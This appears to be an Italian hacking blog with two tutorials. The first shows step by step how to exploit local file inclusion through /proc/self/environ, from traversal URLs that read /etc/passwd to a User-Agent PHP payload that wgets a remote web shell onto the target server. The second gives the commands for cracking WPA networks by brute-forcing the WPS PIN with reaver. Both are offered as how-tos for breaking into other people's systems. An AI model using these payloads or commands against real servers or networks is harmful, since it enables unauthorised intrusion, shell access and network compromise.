domenica 21 ottobre 2012

Iniettare codice php ( metodo proc/self/environ)

Il PHP nasce nel 1994 come una serie di macro per facilitare la scrittura di pagine web dinamiche, poi si è evoluto fino a diventare un potente e flessibile linguaggio di programmazione lato server, oggi è implementato su moltissime piattaforme Windows, Unix/Linux, Mac ed altre.Questo linguaggio è diventato molto simile al C++, è possibile scrivere classi e programmare ad oggetti, quindi riuscire iniettare uno script in un server consente di penetrare in esso molto profondità.Il metodo proc/self/environ è davvero molto efficace, ed i proprietari dei server dovrebbero tenere ben presente questa possibilità e prendere le precauzioni del caso. Ora cerchiamo di capire come questo metodo funziona, supponiamo di avere questo obiettivo:

www.website.com/view.php?page=contact.php

la prima cosa da tentare e sostituire la pagina "contact.php" con i caratteri "../"

www.website.com/view.php?page=../

Se otterremo un errore tipo:

Warning: include(../) [function.include]: failed to open stream: No such file or directory in/home/sirgod/public_html/website.com/view.php on line 1337

allora ci sono buone possibilità di poter completare l'iniezione del codice.Adesso è possibile passare alla fase successiva, in sostanza ricercheremo il  file "etc/passwd" risalendo a ritroso l'albero delle directory fino a trovare il file come da esempio:
 
www.website.com/view.php?page=../../../etc/passwd

otteniamo errore:
 
Warning: include(../) [function.include]: failed to open stream: No such file or...
 
altro tentativo:

www.website.com/view.php?page=../../../../../etc/passwd

se ad un certo punto otteniamo una risposta simile a questa:

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var....ecc ecc

Possiamo procedere al passo successivo , che consiste nel sostituire "etc/passwd" con "proc/self/environ" ed analizzare la risposta del server:

www.website.com/view.php?page=../../../../../proc/self/environ

Se otteniamo una risposta simile a questa:
 
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html,application/xml;q=0.9, application/xhtml+xml, i ...ecc ecc

allora la directory proc/self/environ è accessibile e possiamo iniziare l'iniezione del codice, se invece otteniamo una pagina bianca allora su questo server il metodo non funziona.Prima di poter iniettare il codice è necessario installare un addon per firefox , "tampere data" che potete trovare qui https://addons.mozilla.org/it/firefox/addon/tamper-data/.Ora supponendo di voler iniettare il codice PHP scritto nel file http://example.com/Shells/gny.txt, si deve solo richiedere l'url:

www.website.com/view.php?page=../../../../../proc/self/environ

poi da tampere scrivere nel campo "user-agent" la seguente stringa:

<?system('wget http://example.com/Shells/gny.txt -O shell.php');?>

e inviare la richiesta. Se tutto è andato bene lo script PHP sarà accessibile nella directory "www.website.com/shell.php".Qui potete leggere l'articolo originale http://www.exploit-db.com/papers/12886/

giovedì 18 ottobre 2012

Craccare rete WPA/WPA2 con reaver






In realtà mentivo, ad oggi non è ancora stato perfezionato un sistema sicuro per penetrare in reti potette WPA senza un attacco dizionario, ma cerchiamo di capire come è stato aggirato questo problema.
Prima di tutto facciamo una piccola premessa su cosa è il protocollo WPS, nel 2007 è stato lanciato questo sistema che dovrebbe semplificare l'installazione di reti wifi, in pratica router e scheda wifi si scambiano le credenziali di accesso, quindi la password di default del router ,e l'utente non deve più preoccuparsi di inserirla manualmente nella configurazione del collegamento.Questa negoziazione avviene generalmente premendo un pulsantino sui dispositivi che si vogliono mettere in comunicazione.
In effetti è molto comodo, ma questo sistema ha una falla, solitamente il pin ,che consente ai dispositivi di negoziare fra loro, è un numero di 8 cifre, ma dei bugs scoperti dall' autore del software consentono di individuarne 4, rendendo l'accesso alla rete possibile in circa 10 o 20 ore.
Il software utilizzato per l'attacco si chiama "reaver" ed è possibile scaricarlo in codice sorgente su questo sito https://code.google.com/p/reaver-wps/downloads/list .
Il programma funziona su sistemi linux, l'utilizzo è veramente semplice, necessita di alcuni pacchetti per l'installazione(generalmente mancano libpcap0.8-dev libsqlite3-dev), quindi se durante l'installazione il sistema vi chiede questi pacchetti installateli e ripetete l'installazione.
Dovreste saper istallare un software da codice sorgente ...vero? Beh comunque vi rinfresco la memoria , questi sono i comandi da eseguire dopo aver salvato il file :

tar -xvf reaver-1.4.tar.gz

cd reaver-1.4/src/

./configure

make

sudo make install

Prima di far partire reaver è necessario mettere la scheda wifi in monitor mode, poi fare una scansione sulle reti che supportano il protocollo WPS e verificare se questo protocollo non è stato disabilitato.
Nel pacchetto reaver esiste anche un altro software di nome "wash", per ottenere l'elenco delle reti basta dare il comando :

sudo wash -i mon0

Una volta ottenuta la lista delle reti, e dopo aver scelto il nostro obiettivo lanciamo reaver:

sudo reaver -i mon0 -b 00:11:22:33:44:55 -vv

Adesso non resta che aspettare, i tempi di attesa sono lunghi, ma è possibile interrompere l'esecuzione del programma e riprenderla in seguito ,visto che reaver salva automaticamente la sessione, e al momento di riprenderla ci chiede se vogliamo continuare da dove eravamo rimasti.

ps. Se volete provare un' interfaccia grafica per questo programma andate qui http://d1966.blogspot.it/2013/06/wxreaver-interfaccia-grafica-per-reaver.html